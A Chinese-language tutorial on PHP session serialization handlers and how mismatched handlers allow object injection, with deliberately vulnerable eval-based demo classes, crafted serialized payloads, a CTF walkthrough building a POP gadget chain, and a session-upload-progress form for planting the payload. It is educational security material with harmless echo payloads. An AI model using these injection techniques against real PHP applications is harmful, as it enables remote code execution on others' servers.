PHP中SESSION反序列化机制详解

简介:

在php.ini中存在三项配置项:

session.save_path="" --设置session的存储路径

session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)

session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动

session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下

session.save_handler=files 表明session是以文件的方式来进行存储的

session.auto_start=0 表明默认不启动session

session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

  1. ini_set('session.serialize_handler', 'php_serialize');
  2. session_start();
  3. // do something

存储机制:

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

在默认配置情况下:

  1. <?php
  2. session_start()
  3. $_SESSION['name'] = 'spoock';
  4. var_dump();
  5. ?>

最后的session的存储和显示如下:

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";是serialize("spoock")的结果。

在php_serialize引擎下:

  1. <?php
  2. ini_set('session.serialize_handler', 'php_serialize');
  3. session_start();
  4. $_SESSION['name'] = 'spoock';
  5. var_dump();
  6. ?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

  1. <?php
  2. ini_set('session.serialize_handler', 'php_binary');
  3. session_start();
  4. $_SESSION['name'] = 'spoock';
  5. var_dump();
  6. ?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

序列化简单利用:

test.php

  1. <?php
  2. class syclover{
  3. var $func="";
  4. function __construct() {
  5. $this->func = "phpinfo()";
  6. }
  7. function __wakeup(){
  8. eval($this->func);
  9. }
  10. }
  11. unserialize($_GET['a']);
  12. ?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

object(syclover)[1]

public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。

这就是一个简单的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

  1. array (size=1)
  2. 'a:1:{s:6:"spoock";s:24:"' =>
  3. object(__PHP_Incomplete_Class)[1]
  4. public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用:

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、

s1.php,使用php_serialize来处理session

  1. ini_set('session.serialize_handler', 'php_serialize');
  2. session_start();
  3. $_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

  1. ini_set('session.serialize_handler', 'php');
  2. session_start();
  3. class lemon {
  4. var $hi;
  5. function __construct(){
  6. $this->hi = 'phpinfo();';
  7. }
  8. function __destruct() {
  9. eval($this->hi);
  10. }
  11. }

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

  1. <?php
  2. highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
  3. //show_source(__FILE__);
  4. class foo1{
  5. public $varr;
  6. function __construct(){
  7. $this->varr = "index.php";
  8. }
  9. function __destruct(){
  10. if(file_exists($this->varr)){
  11. echo "<br>文件".$this->varr."存在<br>";
  12. }
  13. echo "<br>这是foo1的析构函数<br>";
  14. }
  15. }
  16. class foo2{
  17. public $varr;
  18. public $obj;
  19. function __construct(){
  20. $this->varr = '1234567890';
  21. $this->obj = null;
  22. }
  23. function __toString(){
  24. $this->obj->execute();
  25. return $this->varr;
  26. }
  27. function __desctuct(){
  28. echo "<br>这是foo2的析构函数<br>";
  29. }
  30. }
  31. class foo3{
  32. public $varr;
  33. function execute(){
  34. eval($this->varr);
  35. }
  36. function __desctuct(){
  37. echo "<br>这是foo3的析构函数<br>";
  38. }
  39. }
  40. ?>

index.php

  1. <?php
  2. ini_set('session.serialize_handler', 'php');
  3. require("./class.php");
  4. session_start();
  5. $obj = new foo1();
  6. $obj->varr = "phpinfo.php";
  7. ?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:

myindex.php

  1. <?php
  2. class foo3{
  3. public $varr='echo "spoock";';
  4. function execute(){
  5. eval($this->varr);
  6. }
  7. }
  8. class foo2{
  9. public $varr;
  10. public $obj;
  11. function __construct(){
  12. $this->varr = '1234567890';
  13. $this->obj = new foo3();
  14. }
  15. function __toString(){
  16. $this->obj->execute();
  17. return $this->varr;
  18. }
  19. }
  20. class foo1{
  21. public $varr;
  22. function __construct(){
  23. $this->varr = new foo2();
  24. }
  25. }
  26. $obj = new foo1();
  27. print_r(serialize($obj));
  28. ?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

  1. <form action="index.php" method="POST" enctype="multipart/form-data">
  2. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  3. <input type="file" name="file" />
  4. <input type="submit" />
  5. </form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|

但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结:

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。